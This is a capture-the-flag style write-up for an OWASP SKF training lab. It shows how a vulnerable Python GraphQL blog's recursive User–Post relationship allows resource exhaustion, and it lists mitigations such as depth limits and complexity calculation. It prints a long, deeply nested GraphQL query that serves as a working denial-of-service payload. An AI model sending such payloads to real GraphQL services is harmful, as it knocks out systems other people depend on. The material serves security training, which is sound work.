SKF write-ups
Search…
Python - GraphQL DOS

Running the app

1
$ sudo docker pull blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion
Copied!
1
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:graphql-dos-resource-exhaustion
Copied!
Now that the app is running let's go hacking!

Running the app Python3

First, make sure python3 and pip are installed on your host machine. After installation, we go to the folder of the lab we want to practise "i.e /skf-labs/XSS/, /skf-labs/jwt-secret/ " and run the following commands:
1
$ pip3 install -r requirements.txt
Copied!
1
$ python3 <labname>
Copied!
Now that the app is running let's go hacking!
Docker Image and write-up thanks to defev!

Reconnaissance

The application implements a small blog where only admin profiles can create posts. Non authenticated users can only read the latest posts.
When we navigate to http://0.0.0.0:5000/ the frontend asks the application for the latest posts using the GraphQL query
1
query: "{
2
allPosts {
3
edges {
4
node {
5
title
6
body
7
users
8
{ username }
9
}
10
}
11
}
12
}"
Copied!
The response will contain all the latest posts:
1
{
2
"data": {
3
"allPosts": {
4
"edges": [
5
{
6
"node": {
7
"title": "Hello World",
8
"body": "This is the first post of jhon",
9
"users": {
10
"username": "johndoe"
11
}
12
}
13
},
14
{
15
"node": {
16
"title": "Woooow",
17
"body": "I'm the maaaaask",
18
"users": {
19
"username": "jimcarry"
20
}
21
}
22
},
23
{
24
"node": {
25
"title": "Second Post Jhon",
26
"body": "This is the second post of jhon",
27
"users": {
28
"username": "johndoe"
29
}
30
}
31
}
32
]
33
}
34
}
35
}
Copied!
What can go wrong here?
If we look at the two classes Users and Post:
1
class User(db.Model):
2
__tablename__ = 'users'
3
uuid = db.Column(db.Integer, primary_key=True)
4
username = db.Column(db.String(256), index=True, unique=True)
5
posts = db.relationship('Post', backref='users') ## HERE is the problem, that enables to create recursive queries
6
7
def __repr__(self):
8
return '<User %r>' % self.username
9
10
class Post(db.Model):
11
__tablename__ = 'posts'
12
uuid = db.Column(db.Integer, primary_key=True)
13
title = db.Column(db.String(256), index=True)
14
body = db.Column(db.Text)
15
author_id = db.Column(db.Integer, db.ForeignKey('users.uuid'))
16
author = db.relationship('User', backref='post')
17
18
def __repr__(self):
19
return '<Post %r>' % self.title
Copied!
we can see that each User can have multiple Post and each Post is assigned to an User. If we reflect this in GraphQL language, each posts node will have a user node that will have multiple posts node that will belong to a user that will ........... and so on. So we are allowed to create nested querie.

Exploitation

Let's exploit it!
If we craft a malicious payload like:
1
{
2
allUsers {
3
edges {
4
node {
5
username
6
posts {
7
edges {
8
node {
9
title
10
authorId
11
users {
12
username
13
posts {
14
edges {
15
node {
16
title
17
body
18
users {
19
username
20
uuid
21
username
22
uuid
23
posts {
24
edges {
25
node {
26
title
27
body
28
users {
29
username
30
posts {
31
edges {
32
node {
33
title
34
body
35
users {
36
posts {
37
edges {
38
node {
39
users {
40
posts {
41
edges {
42
node {
43
body
44
users {
45
posts {
46
edges {
47
node {
48
body
49
users {
50
posts {
51
edges {
52
node {
53
body
54
users {
55
posts {
56
edges {
57
node {
58
body
59
users {
60
posts {
61
edges {
62
node {
63
body
64
users {
65
posts {
66
edges {
67
node {
68
body
69
users {
70
posts {
71
edges {
72
node {
73
body
74
users {
75
posts {
76
edges {
77
node {
78
body
79
users {
80
posts {
81
edges {
82
node {
83
body
84
users {
85
posts {
86
edges {
87
node {
88
body
89
users {
90
posts {
91
edges {
92
node {
93
body
94
users {
95
posts {
96
edges {
97
node {
98
body
99
users {
100
posts {
101
edges {
102
node {
103
body
104
users {
105
posts {
106
edges {
107
node {
108
body
109
users {
110
posts {
111
edges {
112
node {
113
body
114
users {
115
posts {
116
edges {
117
node {
118
body
119
users {
120
posts {
121
edges {
122
node {
123
body
124
users {
125
posts {
126
edges {
127
node {
128
body
129
users {
130
posts {
131
edges {
132
node {
133
body
134
users {
135
posts {
136
edges {
137
node {
138
body
139
}
140
}
141
}
142
}
143
}
144
}
145
}
146
}
147
}
148
}
149
}
150
}
151
}
152
}
153
}
154
}
155
}
156
}
157
}
158
}
159
}
160
}
161
}
162
}
163
}
164
}
165
}
166
}
167
}
168
}
169
}
170
}
171
}
172
}
173
}
174
}
175
}
176
}
177
}
178
}
179
}
180
}
181
}
182
}
183
}
184
}
185
}
186
}
187
}
188
}
189
}
190
}
191
}
192
}
193
}
194
}
195
}
196
}
197
}
198
}
199
}
200
}
201
}
202
}
203
}
204
}
205
}
206
}
207
}
208
}
209
}
210
}
211
}
212
}
213
}
214
}
215
}
216
}
217
}
218
}
219
}
220
}
221
}
222
}
223
}
224
}
225
}
226
}
227
}
228
}
229
}
230
}
231
}
232
}
233
}
234
}
235
}
236
}
237
}
238
}
239
}
240
}
241
}
Copied!
we can make the application explode, while trying to resolve all the possible queries. Each new query will add exponential complexity to our query.

Solution

To avoid DoS issues while still having nested queries, there are different possibilities:
  • Limit Maximum Query Depth
  • Calculate Query Complexity
  • Throttling Based on Server Time
  • Audit your query before production
Few tools available online are:

Additional resources